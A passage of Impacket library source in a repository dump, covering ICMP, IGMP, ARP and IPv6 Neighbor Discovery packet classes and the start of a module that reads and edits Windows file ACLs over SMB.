self.set_word(6, aValue)\n\n    def get_icmp_void(self):\n        return self.get_long(4)\n\n    def set_icmp_void(self, aValue):\n        self.set_long(4, aValue)\n\n\n    def get_icmp_nextmtu(self):\n        return self.get_word(6)\n\n    def set_icmp_nextmtu(self, aValue):\n        self.set_word(6, aValue)\n\n    def get_icmp_num_addrs(self):\n        return self.get_byte(4)\n\n    def set_icmp_num_addrs(self, aValue):\n        self.set_byte(4, aValue)\n\n    def get_icmp_wpa(self):\n        return self.get_byte(5)\n\n    def set_icmp_wpa(self, aValue):\n        self.set_byte(5, aValue)\n\n    def get_icmp_lifetime(self):\n        return self.get_word(6)\n\n    def set_icmp_lifetime(self, aValue):\n        self.set_word(6, aValue)\n\n    def get_icmp_otime(self):\n        return self.get_long(8)\n\n    def set_icmp_otime(self, aValue):\n        self.set_long(8, aValue)\n\n    def get_icmp_rtime(self):\n        return self.get_long(12)\n\n    def set_icmp_rtime(self, aValue):\n        self.set_long(12, aValue)\n\n    def get_icmp_ttime(self):\n        return self.get_long(16)\n\n    def set_icmp_ttime(self, aValue):\n        self.set_long(16, aValue)\n\n    def get_icmp_mask(self):\n        return self.get_ip_address(8)\n\n    def set_icmp_mask(self, mask):\n        self.set_ip_address(8, mask)\n\n\n    def calculate_checksum(self):\n        if self.auto_checksum and (not self.get_icmp_cksum()):\n            buffer = self.get_buffer_as_string()\n            data = self.get_data_as_string()\n            if data:\n                buffer += data\n\n            tmp_array = array.array('B', buffer)\n            self.set_icmp_cksum(self.compute_checksum(tmp_array))\n\n    def get_type_name(self, aType):\n        tmp_type = {0:'ECHOREPLY', 3:'UNREACH', 4:'SOURCEQUENCH',5:'REDIRECT', 6:'ALTHOSTADDR', 8:'ECHO', 9:'ROUTERADVERT', 10:'ROUTERSOLICIT', 11:'TIMXCEED', 12:'PARAMPROB', 13:'TSTAMP', 14:'TSTAMPREPLY', 15:'IREQ', 16:'IREQREPLY', 17:'MASKREQ', 18:'MASKREPLY', 30:'TRACEROUTE', 31:'DATACONVERR', 32:'MOBILE REDIRECT', 33:'IPV6 WHEREAREYOU', 34:'IPV6 IAMHERE', 35:'MOBILE REGREQUEST', 36:'MOBILE REGREPLY', 39:'SKIP', 40:'PHOTURIS'}\n        answer = tmp_type.get(aType, 'UNKNOWN')\n        return answer\n\n    def get_code_name(self, aType, aCode):\n        tmp_code = {3:['UNREACH NET', 'UNREACH HOST', 'UNREACH PROTOCOL', 'UNREACH PORT', 'UNREACH NEEDFRAG', 'UNREACH SRCFAIL', 'UNREACH NET UNKNOWN', 'UNREACH HOST UNKNOWN', 'UNREACH ISOLATED', 'UNREACH NET PROHIB', 'UNREACH HOST PROHIB', 'UNREACH TOSNET', 'UNREACH TOSHOST', 'UNREACH FILTER PROHIB', 'UNREACH HOST PRECEDENCE', 'UNREACH PRECEDENCE CUTOFF', 'UNKNOWN ICMP UNREACH']}\n        tmp_code[5] = ['REDIRECT NET', 'REDIRECT HOST', 'REDIRECT TOSNET', 'REDIRECT TOSHOST']\n        tmp_code[9] = ['ROUTERADVERT NORMAL', None, None, None, None, None, None, None, None, None, None, None, None, None, None, None,'ROUTERADVERT NOROUTE COMMON']\n        tmp_code[11] = ['TIMXCEED INTRANS ', 'TIMXCEED REASS']\n        tmp_code[12] = ['PARAMPROB ERRATPTR ', 'PARAMPROB OPTABSENT', 'PARAMPROB LENGTH']\n        tmp_code[40] = [None, 'PHOTURIS UNKNOWN INDEX', 'PHOTURIS AUTH FAILED', 'PHOTURIS DECRYPT FAILED']\n        if aType in tmp_code:\n            tmp_list = tmp_code[aType]\n            if ((aCode + 1) > len(tmp_list)) or (not tmp_list[aCode]):\n                return 'UNKNOWN'\n            else:\n                return tmp_list[aCode]\n        else:\n            return 'UNKNOWN'\n\n    def __str__(self):\n        tmp_type = self.get_icmp_type()\n        tmp_code = self.get_icmp_code()\n        tmp_str = 'ICMP type: ' + self.get_type_name(tmp_type)\n        tmp_str+= ' code: ' + self.get_code_name(tmp_type, tmp_code)\n        if self.child():\n            tmp_str += '\\n' + str( self.child() )\n        return tmp_str\n\n    def isDestinationUnreachable(self):\n        return self.get_icmp_type() == 3\n\n    def isError(self):\n        return not self.isQuery()\n\n    def isHostUnreachable(self):\n        return self.isDestinationUnreachable() and (self.get_icmp_code() == 1)\n\n    def isNetUnreachable(self):\n        return self.isDestinationUnreachable() and (self.get_icmp_code() == 0)\n\n    def isPortUnreachable(self):\n        return self.isDestinationUnreachable() and (self.get_icmp_code() == 3)\n\n    def isProtocolUnreachable(self):\n        return self.isDestinationUnreachable() and (self.get_icmp_code() == 2)\n\n    def isQuery(self):\n        tmp_dict = {8:'',  9:'',  10:'', 13:'', 14:'', 15:'', 16:'', 17:'', 18:''}\n        return self.get_icmp_type() in tmp_dict\n\nclass IGMP(Header):\n    protocol = 2\n    def __init__(self, aBuffer = None):\n        Header.__init__(self, 8)\n        if aBuffer:\n            self.load_header(aBuffer)\n\n    def get_igmp_type(self):\n        return self.get_byte(0)\n\n    def set_igmp_type(self, aValue):\n        self.set_byte(0, aValue)\n\n    def get_igmp_code(self):\n        return self.get_byte(1)\n\n    def set_igmp_code(self, aValue):\n        self.set_byte(1, aValue)\n\n    def get_igmp_cksum(self):\n        return self.get_word(2)\n\n    def set_igmp_cksum(self, aValue):\n        self.set_word(2, aValue)\n\n    def get_igmp_group(self):\n        return self.get_long(4)\n\n    def set_igmp_group(self, aValue):\n        self.set_long(4, aValue)\n\n    def get_header_size(self):\n        return 8\n\n    def get_type_name(self, aType):\n        tmp_dict = {0x11:'HOST MEMBERSHIP QUERY ', 0x12:'v1 HOST MEMBERSHIP REPORT ', 0x13:'IGMP DVMRP ', 0x14:' PIM ', 0x16:'v2 HOST MEMBERSHIP REPORT ', 0x17:'HOST LEAVE MESSAGE ', 0x1e:'MTRACE REPLY ', 0X1f:'MTRACE QUERY '}\n        answer = tmp_dict.get(aType, 'UNKNOWN TYPE OR VERSION ')\n        return answer\n\n    def calculate_checksum(self):\n        if self.auto_checksum and (not self.get_igmp_cksum()):\n            self.set_igmp_cksum(self.compute_checksum(self.get_bytes()))\n\n    def __str__(self):\n        tmp_str = 'IGMP: ' + self.get_type_name(self.get_igmp_type())\n        tmp_str += 'Group: ' +  socket.inet_ntoa(struct.pack('!L',self.get_igmp_group()))\n        if self.child():\n            tmp_str += '\\n' + str(self.child())\n        return tmp_str\n\n\n\nclass ARP(Header):\n    ethertype = 0x806\n    def __init__(self, aBuffer = None):\n        Header.__init__(self, 7)\n        if aBuffer:\n            self.load_header(aBuffer)\n\n    def get_ar_hrd(self):\n        return self.get_word(0)\n\n    def set_ar_hrd(self, aValue):\n        self.set_word(0, aValue)\n\n    def get_ar_pro(self):\n        return self.get_word(2)\n\n    def set_ar_pro(self, aValue):\n        self.set_word(2, aValue)\n\n    def get_ar_hln(self):\n        return self.get_byte(4)\n\n    def set_ar_hln(self, aValue):\n        self.set_byte(4, aValue)\n\n    def get_ar_pln(self):\n        return self.get_byte(5)\n\n    def set_ar_pln(self, aValue):\n        self.set_byte(5, aValue)\n\n    def get_ar_op(self):\n        return self.get_word(6)\n\n    def set_ar_op(self, aValue):\n        self.set_word(6, aValue)\n\n    def get_ar_sha(self):\n        tmp_size = self.get_ar_hln()\n        return self.get_bytes().tolist()[8: 8 + tmp_size]\n\n    def set_ar_sha(self, aValue):\n        for i in range(0, self.get_ar_hln()):\n            self.set_byte(i + 8, aValue[i])\n\n    def get_ar_spa(self):\n        tmp_size = self.get_ar_pln()\n        return self.get_bytes().tolist()[8 + self.get_ar_hln(): 8 + self.get_ar_hln() + tmp_size]\n\n    def set_ar_spa(self, aValue):\n        for i in range(0, self.get_ar_pln()):\n            self.set_byte(i + 8 + self.get_ar_hln(), aValue[i])\n\n    def get_ar_tha(self):\n        tmp_size = self.get_ar_hln()\n        tmp_from = 8 + self.get_ar_hln() + self.get_ar_pln()\n        return self.get_bytes().tolist()[tmp_from: tmp_from + tmp_size]\n\n    def set_ar_tha(self, aValue):\n        tmp_from = 8 + self.get_ar_hln() + self.get_ar_pln()\n        for i in range(0, self.get_ar_hln()):\n            self.set_byte(i + tmp_from, aValue[i])\n\n    def get_ar_tpa(self):\n        tmp_size = self.get_ar_pln()\n        tmp_from = 8 + ( 2 * self.get_ar_hln()) + self.get_ar_pln()\n        return self.get_bytes().tolist()[tmp_from: tmp_from + tmp_size]\n\n    def set_ar_tpa(self, aValue):\n        tmp_from = 8 + (2 * self.get_ar_hln()) + self.get_ar_pln()\n        for i in range(0, self.get_ar_pln()):\n            self.set_byte(i + tmp_from, aValue[i])\n\n    def get_header_size(self):\n        return 8 + (2 * self.get_ar_hln()) + (2 * self.get_ar_pln())\n\n    def get_op_name(self, ar_op):\n        tmp_dict = {1:'REQUEST', 2:'REPLY', 3:'REVREQUEST', 4:'REVREPLY', 8:'INVREQUEST', 9:'INVREPLY'}\n        answer = tmp_dict.get(ar_op, 'UNKNOWN')\n        return answer\n\n    def get_hrd_name(self, ar_hrd):\n        tmp_dict = { 1:'ARPHRD ETHER', 6:'ARPHRD IEEE802', 15:'ARPHRD FRELAY'}\n        answer = tmp_dict.get(ar_hrd, 'UNKNOWN')\n        return answer\n\n\n    def as_hrd(self, anArray):\n        if not anArray:\n            return ''\n        tmp_str = '%x' % anArray[0]\n        for i in range(1, len(anArray)):\n            tmp_str += ':%x' % anArray[i]\n        return tmp_str\n\n    def as_pro(self, anArray):\n        if not anArray:\n            return ''\n        tmp_str = '%d' % anArray[0]\n        for i in range(1, len(anArray)):\n            tmp_str += '.%d' % anArray[i]\n        return tmp_str\n\n    def __str__(self):\n        tmp_op = self.get_ar_op()\n        tmp_str = 'ARP format: ' + self.get_hrd_name(self.get_ar_hrd()) + ' '\n        tmp_str += 'opcode: ' + self.get_op_name(tmp_op)\n        tmp_str += '\\n' + self.as_hrd(self.get_ar_sha()) + ' -> '\n        tmp_str += self.as_hrd(self.get_ar_tha())\n        tmp_str += '\\n' + self.as_pro(self.get_ar_spa()) + ' -> '\n        tmp_str += self.as_pro(self.get_ar_tpa())\n        if self.child():\n            tmp_str += '\\n' + str(self.child())\n        return tmp_str\n\ndef example(): #To execute an example, remove this line\n    a = Ethernet()\n    b = ARP()\n    c = Data('Hola loco!!!')\n    b.set_ar_hln(6)\n    b.set_ar_pln(4)\n    #a.set_ip_dst('192.168.22.6')\n    #a.set_ip_src('1.1.1.2')\n    a.contains(b)\n    b.contains(c)\n    b.set_ar_op(2)\n    b.set_ar_hrd(1)\n    b.set_ar_spa((192, 168, 22, 6))\n    b.set_ar_tpa((192, 168, 66, 171))\n    a.set_ether_shost((0x0, 0xe0, 0x7d, 0x8a, 0xef, 0x3d))\n    a.set_ether_dhost((0x0, 0xc0, 0xdf, 0x6, 0x5, 0xe))\n    print(\"beto %s\" % a)\n"
  },
  {
    "path": "impacket/NDP.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n\nimport array\nimport struct\n\nfrom impacket import ImpactPacket\nfrom impacket.ICMP6 import ICMP6\n\n\nclass NDP(ICMP6):\n    #ICMP message type numbers\n    ROUTER_SOLICITATION = 133\n    ROUTER_ADVERTISEMENT = 134\n    NEIGHBOR_SOLICITATION = 135\n    NEIGHBOR_ADVERTISEMENT = 136\n    REDIRECT = 137\n\n############################################################################\n# Append NDP Option helper\n\n    def append_ndp_option(self, ndp_option):\n        #As NDP inherits ICMP6, it is, in fact an ICMP6 \"header\"\n        #The payload (where all NDP options should reside) is a child of the header\n        self.child().get_bytes().extend(ndp_option.get_bytes())\n                \n        \n############################################################################\n    @classmethod\n    def Router_Solicitation(class_object):\n        message_data = struct.pack('>L', 0) #Reserved bytes\n        return class_object.__build_message(NDP.ROUTER_SOLICITATION, message_data)\n\n    @classmethod\n    def Router_Advertisement(class_object, current_hop_limit, \n                             managed_flag, other_flag, \n                             router_lifetime, reachable_time, retransmission_timer):        \n        flag_byte = 0x00\n        if (managed_flag):\n            flag_byte |= 0x80\n        if (other_flag):\n            flag_byte |= 0x40\n            \n        message_data = struct.pack('>BBHLL', current_hop_limit, flag_byte, router_lifetime, reachable_time, retransmission_timer)\n        return class_object.__build_message(NDP.ROUTER_ADVERTISEMENT, message_data)\n\n    @classmethod\n    def Neighbor_Solicitation(class_object, target_address):        \n        message_data = struct.pack('>L', 0) #Reserved bytes\n        message_data += ImpactPacket.array_tobytes(target_address.as_bytes())\n        return class_object.__build_message(NDP.NEIGHBOR_SOLICITATION, message_data)\n\n\n    @classmethod\n    def Neighbor_Advertisement(class_object, router_flag, solicited_flag, override_flag, target_address):                \n        flag_byte = 0x00\n        if (router_flag):\n            flag_byte |= 0x80\n        if (solicited_flag):\n            flag_byte |= 0x40\n        if (override_flag):\n            flag_byte |= 0x20\n            \n        message_data = struct.pack('>BBBB', flag_byte, 0x00, 0x00, 0x00) #Flag byte and three reserved bytes\n        message_data += ImpactPacket.array_tobytes(target_address.as_bytes())\n        return class_object.__build_message(NDP.NEIGHBOR_ADVERTISEMENT, message_data)\n\n\n    @classmethod\n    def Redirect(class_object, target_address, destination_address):        \n        message_data = struct.pack('>L', 0)# Reserved bytes\n        message_data += ImpactPacket.array_tobytes(target_address.as_bytes())\n        message_data += ImpactPacket.array_tobytes(destination_address.as_bytes())\n        return class_object.__build_message(NDP.REDIRECT, message_data)\n\n    \n    @classmethod\n    def __build_message(class_object, type, message_data):\n        #Build NDP header\n        ndp_packet = NDP()\n        ndp_packet.set_type(type)\n        ndp_packet.set_code(0)\n        \n        #Pack payload\n        ndp_payload = ImpactPacket.Data()\n        ndp_payload.set_data(message_data)\n        ndp_packet.contains(ndp_payload)\n        \n        return ndp_packet\n\n\n    \n        \nclass NDP_Option():\n    #NDP Option Type numbers\n    SOURCE_LINK_LAYER_ADDRESS = 1\n    TARGET_LINK_LAYER_ADDRESS = 2\n    PREFIX_INFORMATION = 3\n    REDIRECTED_HEADER = 4\n    MTU_OPTION = 5\n    \n############################################################################\n    @classmethod    \n    #link_layer_address must have a size that is a multiple of 8 octets\n    def Source_Link_Layer_Address(class_object, link_layer_address):\n        return class_object.__Link_Layer_Address(NDP_Option.SOURCE_LINK_LAYER_ADDRESS, link_layer_address)\n\n    @classmethod    \n    #link_layer_address must have a size that is a multiple of 8 octets\n    def Target_Link_Layer_Address(class_object, link_layer_address):\n        return class_object.__Link_Layer_Address(NDP_Option.TARGET_LINK_LAYER_ADDRESS, link_layer_address)\n\n    @classmethod    \n    #link_layer_address must have a size that is a multiple of 8 octets\n    def __Link_Layer_Address(class_object, option_type, link_layer_address):\n        option_length = (len(link_layer_address) / 8) + 1\n        option_data = ImpactPacket.array_tobytes(array.array(\"B\", link_layer_address))\n        return class_object.__build_option(option_type, option_length, option_data)\n\n    @classmethod\n    #Note: if we upgraded to Python 2.6, we could use collections.namedtuples for encapsulating the arguments\n    #ENHANCEMENT - Prefix could be an instance of IP6_Address \n    def Prefix_Information(class_object, prefix_length, on_link_flag, autonomous_flag, valid_lifetime, preferred_lifetime, prefix):\n        \n        flag_byte = 0x00\n        if (on_link_flag):\n            flag_byte |= 0x80\n        if (autonomous_flag):\n            flag_byte |= 0x40\n        \n        option_data = struct.pack('>BBLL', prefix_length, flag_byte, valid_lifetime, preferred_lifetime)\n        option_data += struct.pack('>L', 0) #Reserved bytes\n        option_data += ImpactPacket.array_tobytes(array.array(\"B\", prefix))\n        option_length = 4        \n        return class_object.__build_option(NDP_Option.PREFIX_INFORMATION, option_length, option_data)\n        \n        \n    @classmethod    \n    def Redirected_Header(class_object, original_packet):\n        option_data = struct.pack('>BBBBBB', 0x00, 0x00, 0x00, 0x00, 0x00, 0x00)# Reserved bytes\n        option_data += ImpactPacket.array_tobytes(array.array(\"B\", original_packet))\n        option_length = (len(option_data) + 4) / 8  \n        return class_object.__build_option(NDP_Option.REDIRECTED_HEADER, option_length, option_data)\n    \n    @classmethod    \n    def MTU(class_object, mtu):\n        option_data = struct.pack('>BB', 0x00, 0x00)# Reserved bytes\n        option_data += struct.pack('>L', mtu)\n        option_length = 1\n        return class_object.__build_option(NDP_Option.MTU_OPTION, option_length, option_data)\n\n\n    @classmethod\n    def __build_option(class_object, type, length, option_data):\n        #Pack data\n        data_bytes = struct.pack('>BB', type, length)\n        data_bytes += option_data\n        ndp_option = ImpactPacket.Data()\n        ndp_option.set_data(data_bytes)\n        \n        return ndp_option\n"
  },
  {
    "path": "impacket/__init__.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\n\n# Set default logging handler to avoid \"No handler found\" warnings.\nimport logging\ntry:  # Python 2.7+\n    from logging import NullHandler\nexcept ImportError:\n    class NullHandler(logging.Handler):\n        def emit(self, record):\n            pass\n\n# All modules inside this library MUST use this logger (impacket)\n# It is up to the library consumer to do whatever is wanted \n# with the logger output. By default it is forwarded to the \n# upstream logger\n\nLOG = logging.getLogger(__name__)\nLOG.addHandler(NullHandler())\n"
  },
  {
    "path": "impacket/acl.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Windows ACL (Access Control List) handling for SMB file permissions.\n#   Provides structures and utilities for reading and modifying NTFS security descriptors.\n#\n# Author:\n#   Gefen Altshuler (@gaffner)\n#\n\nfrom impacket.structure import Structure\nfrom impacket.dcerpc.v5 import lsad, lsat\nfrom impacket.dcerpc.v5.transport import SMBTransport\nfrom impacket.smbconnection import SMBConnection\nfrom impacket.smb3structs import FileSecInformation, FILE_OPEN_REPARSE_POINT, GENERIC_ALL, READ_CONTROL\n\nimport struct\n\n# ACE FLAGS\nSMB_ACE_FLAG_OI = 0x1\nSMB_ACE_FLAG_CI = 0x2\nSMB_ACE_FLAG_IO = 0x8\nSMB_ACE_FLAG_NP = 0x4\nSMB_ACE_FLAG_I = 0x10\n\n# STANDARD RIGHTS\nSEC_INFO_STANDARD_WRITE = 0x8\nSEC_INFO_STANDARD_READ = 0x2\nSEC_INFO_STANDARD_DELETE = 0x1\n\n# SPECIFIC RIGHTS\nSEC_INFO_SPECIFIC_WRITE = 0x116\nSEC_INFO_SPECIFIC_EXECUTE = 0x20\nSEC_INFO_SPECIFIC_FULL = 0x1FF\n\n# COMBINED RIGHTS\nSEC_READ_RIGHT = 0x00120089\n\nSUPPORTED_PERMISSIONS = {\n    \"R\": 0x00120089,\n    \"W\": 0x00100116,\n    \"D\": 0x00110000,\n    \"X\": 0x00000020,\n    \"F\": 0x001F01FF,\n}\n\n\n# NT User (DACL) ACL\nclass FileNTUser( Structure ):\n    structure = (\n        (\"Revision\", \"<H=1\"),\n        (\"Size\", \"<H=1\"),\n        (\"NumACEs\", \"<I=1\"),\n        (\"Buffer\", \":\"),\n    )\n\n\n# SID\nclass ACL_SID( Structure ):\n    structure = (\n        (\"Revision\", \"<B\"),\n        (\"NumAuth\", \"<B\"),\n        (\"Authority\", \"6s\"),\n        (\"Subauthorities\", \":\"),\n    )\n\n    def __repr__(self):\n        n = len( self[\"Subauthorities\"] ) // 4\n        # Authority is 6 bytes stored as big-endian (most significant byte last for Windows SIDs)\n        authority = struct.unpack(\">H\", self[\"Authority\"][4:6])[0]\n        return \"-\".join(\n            map(\n                str,\n                [\"S\", int( self[\"Revision\"] ), authority]\n                + list( struct.unpack( \"<{}I\".format(int(n)), self[\"Subauthorities\"] ) ),\n            )\n        )\n\n    @staticmethod\n    def build_from_string(data):\n        items = data.split( \"-\" )[1:]  # delete the S prefix\n        revision = int( items[0] )\n        numAuth = int( items[1] )\n        sub_length = len( items ) - 2  # minus the revision and numAuth\n        subauthorities = struct.pack( \"<{}I\".format(sub_length), *tuple( map( int, items[2:] ) ) )\n        raw_sid = (\n                struct.pack( \"<2B\", revision, numAuth )\n                + b\"\\x00\" * 5\n                + struct.pack( \"<B\", numAuth )\n                + subauthorities\n        )\n        return ACL_SID( raw_sid )\n\n    def __str__(self):\n        return self.__repr__()\n\n    def __eq__(self, other):\n        return self.__repr__() == other.__repr__()\n\n    def __hash__(self):\n        return self.__repr__().__hash__()\n\n    def split(self, *args, **kwargs):\n        return self.__str__().split( *args, **kwargs )\n\n\n# NT ACE\nclass FileNTACE( Structure ):\n    structure = (\n        (\"Type\", \"<B\"),\n        (\"NTACE_Flags\", \"<B\"),\n        (\"Size\", \"<H\"),\n        (\"SpecificRights\", \"<H\"),\n        (\"StandardRights\", \"<B\"),\n        (\"GenericRights\", \"<B\"),\n        (\"_SID\", \"_-SID\", '(self[\"Size\"] - 8)'),\n        (\"SID\", ':=\"\"', ACL_SID),\n    )\n\n    def __str__(self):\n        flags = self.get_readable_ntace_flags()\n        specific = self.get_readable_specific_rights()\n        \n        # If we have full control (F), don't show redundant standard rights\n        if specific == \"(F)\":\n            return flags + specific\n        \n        # Otherwise show standard rights along with any specific rights\n        standard = self.get_readable_standard_rights()\n        return flags + standard + specific\n\n    def get_readable_ntace_flags(self):\n        \"\"\"\n        Return the NTACE flags in readable format\n        (OI) - object inherit\n        (CI) - container inherit\n        (IO) - inherit only\n        (NP) - don't propagate inherit\n        (I) - permission inherited from parent container\n        \"\"\"\n        flags = \"\"\n        if self[\"NTACE_Flags\"] & SMB_ACE_FLAG_OI:\n            flags += \"(OI)\"\n        if self[\"NTACE_Flags\"] & SMB_ACE_FLAG_CI:\n            flags += \"(CI)\"\n        if self[\"NTACE_Flags\"] & SMB_ACE_FLAG_IO:\n            flags += \"(IO)\"\n        if self[\"NTACE_Flags\"] & SMB_ACE_FLAG_NP:\n            flags += \"(NP)\"\n        if self[\"NTACE_Flags\"] & SMB_ACE_FLAG_I:\n            flags += \"(I)\"\n\n        if flags == \"\":\n            return \"\"  # No flags set\n\n        return flags\n\n    def get_readable_standard_rights(self):\n        \"\"\"\n        Return the standard rights in readable format\n        NOTE: does not cover all standard rights (WRITE_DAC and SYNC)\n        R - read-only access\n        W - write-only access\n        D - delete access\n        \"\"\"\n        flags = \"\"\n        if self[\"StandardRights\"] & SEC_INFO_STANDARD_READ:\n            flags += \"(R)\"\n        if self[\"StandardRights\"] & SEC_INFO_STANDARD_WRITE:\n            flags += \"(w)\"\n        if self[\"StandardRights\"] & SEC_INFO_STANDARD_DELETE:\n            flags += \"(D)\"\n\n        return flags\n\n    def get_readable_specific_rights(self):\n        \"\"\"\n        Return the specific rights in readable format\n        NOTE: does not cover all specific rights (only write, execute, full control)\n        W - write access\n        X - execute access\n        F - full control\n        \"\"\"\n        if self[\"SpecificRights\"] & SEC_INFO_SPECIFIC_FULL == SEC_INFO_SPECIFIC_FULL:\n            return \"(F)\"  # Full control, no need to waste time\n\n        flags = \"\"\n        if self[\"SpecificRights\"] & SEC_INFO_SPECIFIC_WRITE == SEC_INFO_SPECIFIC_WRITE:\n            flags += \"(W)\"\n        if (\n                self[\"SpecificRights\"] & SEC_INFO_SPECIFIC_EXECUTE\n                == SEC_INFO_SPECIFIC_EXECUTE\n        ):\n            flags += \"(X)\"\n\n        return flags\n\n\nclass SecurityAttributes:\n    \"\"\"\n    This class represents the security attributes of a file\n    \"\"\"\n\n    def __init__(self, owner, group):\n        self.owner = owner\n        self.group = group\n        self.dacls = {}\n        self.readable_dacls = {}  # {name: dacls}\n\n    def __repr__(self):\n        return (\n            \"Owner:\\t{}\\n\"\n            \"Group:\\t{}\\n\"\n            \"ACLs:\\n\\t\"\n            \"{}\".format(self.owner, self.group,\n                        \"\\n\\t\".join([str( self.readable_dacls[sid] ) for sid in self.readable_dacls])))\n\n    def __str__(self):\n        return self.__repr__()\n\n    def __eq__(self, other):\n        return self.__repr__() == other.__repr__()\n\n\nclass SMBFileACL:\n    \"\"\"\n    Manage Windows file ACLs over SMB. You can view, set, or remove ACLs.\n    You must have the appropriate permissions to do so.\n    \"\"\"\n\n    def __init__(self, ip=None, remote_name=None, username='', password='', domain='', lmhash='', nthash='', aesKey=None, doKerberos=False, kdcHost=None, smb_connection=None):\n        \"\"\"\n        @param ip: target server's remote address (IPv4, IPv6) or FQDN\n        @param remote_name: Remote NetBIOS name\n        @param username: username\n        @param password: password\n        @param domain: domain where the account is valid for\n        @param lmhash: LM hash for NTLM authentication\n        @param nthash: NT hash for NTLM authentication\n        @param aesKey: AES key for Kerberos authentication\n        @param doKerberos: Use Kerberos authentication\n        @param kdcHost: KDC hostname or IP address\n        @param smb_connection: existing SMBConnection to reuse (if provided, other auth params are ignored)\n        \"\"\"\n        self.sid_to_name = {\n            ACL_SID.build_from_string(\"S-1-5-18\"): \"NT AUTHORITY\\\\SYSTEM\"\n        }\n\n        self.rid_to_name = {\n            \"544\": \"BUILTIN\\\\Administrators\",\n            \"513\": \"Domain Users\",\n        }\n\n        self._owns_connection = smb_connection is None\n        \n        if smb_connection is not None:\n            self.connection = smb_connection\n        else:\n            self.connection = SMBConnection(remote_name, ip)\n            if doKerberos:\n                self.connection.kerberosLogin(username, password, domain, lmhash, nthash, aesKey, kdcHost)\n            else:\n                self.connection.login(username, password, domain, lmhash, nthash)\n        \n        self.dce_rpc = self.start_dce_rpc()\n        self.policy_handle = self.open_policy_handle()\n        self.transport = None\n        self.tid = None\n        self.fid = None\n\n    def close_connection(self):\n        \"\"\"\n        Disconnect from the tree id, close the file\n        and disconnect from the smb server\n        \"\"\"\n\n        # close policy handle and transport\n        if self.policy_handle:\n            lsad.hLsarClose(self.dce_rpc, self.policy_handle)\n        if self.transport:\n            self.transport.disconnect()\n\n        # close the smb connection only if we created it\n        if self._owns_connection:\n            self.connection.close()\n\n    def close_file(self):\n        \"\"\"\n        Close the tree ID and file ID handles\n        \"\"\"\n        if self.fid:\n            self.connection.closeFile(self.tid, self.fid)\n        if self.tid:\n            self.connection.disconnectTree(self.tid)\n\n    def open_file(self, share_name, file_name, desired_access=READ_CONTROL):\n        \"\"\"\n        Open the given file in the specified share\n        @param share_name: share to connect to\n        @param file_name: file to open\n        @return: tuple of (tid, fid)\n        \"\"\"\n        self.tid = self.connection.connectTree(share_name)\n        self.fid = self.connection.openFile(\n            self.tid, file_name, desiredAccess=desired_access, creationOption=FILE_OPEN_REPARSE_POINT\n        )\n        return self.tid, self.fid\n\n    def start_dce_rpc(self):\n        \"\"\"\n        Start a new DCE/RPC connection over SMB\n        @return: DCE/RPC connection\n        \"\"\"\n        self.transport = SMBTransport(\n            self.connection.getRemoteName(),\n            smb_connection=self.connection,\n            filename=\"lsarpc\",\n        )\n        self.transport.connect()\n        dce = self.transport.get_dce_rpc()\n\n        return dce\n\n    def open_policy_handle(self):\n        \"\"\"\n        Open a new handle to MSRPC_UUID_LSAD\n        @return: policy handle\n        \"\"\"\n        self.dce_rpc.bind(lsad.MSRPC_UUID_LSAD)\n        policy_handle = lsad.hLsarOpenPolicy2(self.dce_rpc, lsad.POLICY_LOOKUP_NAMES)[\n            \"PolicyHandle\"\n        ]\n\n        return policy_handle\n\n    def set_sid_to_name(self, sids, resp):\n        \"\"\"\n        Set the sid_to_name dictionary according to the given SIDs\n        :param sids: SIDs to translate to their names\n        :param resp: the response containing the names\n        :return: None\n        \"\"\"\n        names = [name[\"Name\"] for name in resp[\"TranslatedNames\"][\"Names\"]]\n        for i, name in enumerate(names):\n            # should check here if the name is real sid\n            if name in (\"None\", b\"\"):\n                name = sids[i]\n            rid = name.split(\"-\")[-1]\n            if rid in self.rid_to_name:\n                self.sid_to_name[ACL_SID.build_from_string(name)] = self.rid_to_name[rid]\n            elif sids[i] not in self.sid_to_name:\n                self.sid_to_name[sids[i]] = name\n\n    def sids_to_names(self, sids):\n        \"\"\"\n        Resolve SIDs to names using LSA_LookupSids\n        :param sids: list of SIDs\n        :return: list of usernames\n        \"\"\"\n        try:\n            resp = lsat.hLsarLookupSids2(self.dce_rpc, self.policy_handle, sids)\n        except lsat.DCERPCSessionError as session_error:\n            resp = session_error.packet\n\n        self.set_sid_to_name(sids, resp)\n\n    def name_to_sid(self, name):\n        \"\"\"\n        Translate name to SID using LSA_LookupNames\n        \"\"\"\n        try:\n            resp = lsat.hLsarLookupNames3(self.dce_rpc, self.policy_handle, [name])\n            return resp[\"TranslatedSids\"][\"Sids\"][0][\"Sid\"].getData()[4:]  # don't include the 'count' attribute\n        except Exception as e:\n            raise Exception(f\"Failed to resolve name '{name}' to SID: {str(e)}\")\n\n    def permissions_to_ace(self, username, permissions, action='grant'):\n        \"\"\"\n        Convert given permissions and user to binary format\n        @param username: username to add/remove permissions\n        @param permissions: permissions in the icacls format\n        @param action: 'grant', 'revoke', or 'delete'\n        \"\"\"\n        access_required = 0x00000000\n        invalid_perms = []\n        if permissions:\n            for permission in permissions.split(\",\"):\n                try:\n                    access_required |= SUPPORTED_PERMISSIONS[permission.upper()]\n                except KeyError:\n                    invalid_perms.append(permission)\n\n            # Warn about invalid permissions\n            if invalid_perms:\n                import logging\n                logging.warning(f\"Ignoring unsupported permissions: {', '.join(invalid_perms)}\")\n\n            # check if we couldn't resolve any of the permissions\n            if not access_required:\n                raise Exception(\"No valid permissions specified\")\n\n        sid_bytes = self.name_to_sid(username)\n        total_size = 8 + len(sid_bytes)  # nt ace attributes length + sid length\n\n        permissions_as_bytes = (\n                struct.pack(\"<BBHI\", 0x00, 0x00, total_size, access_required) + sid_bytes\n        )\n\n        ace = FileNTACE(permissions_as_bytes)\n        # Store the action type in the ACE for later use\n        ace.action = 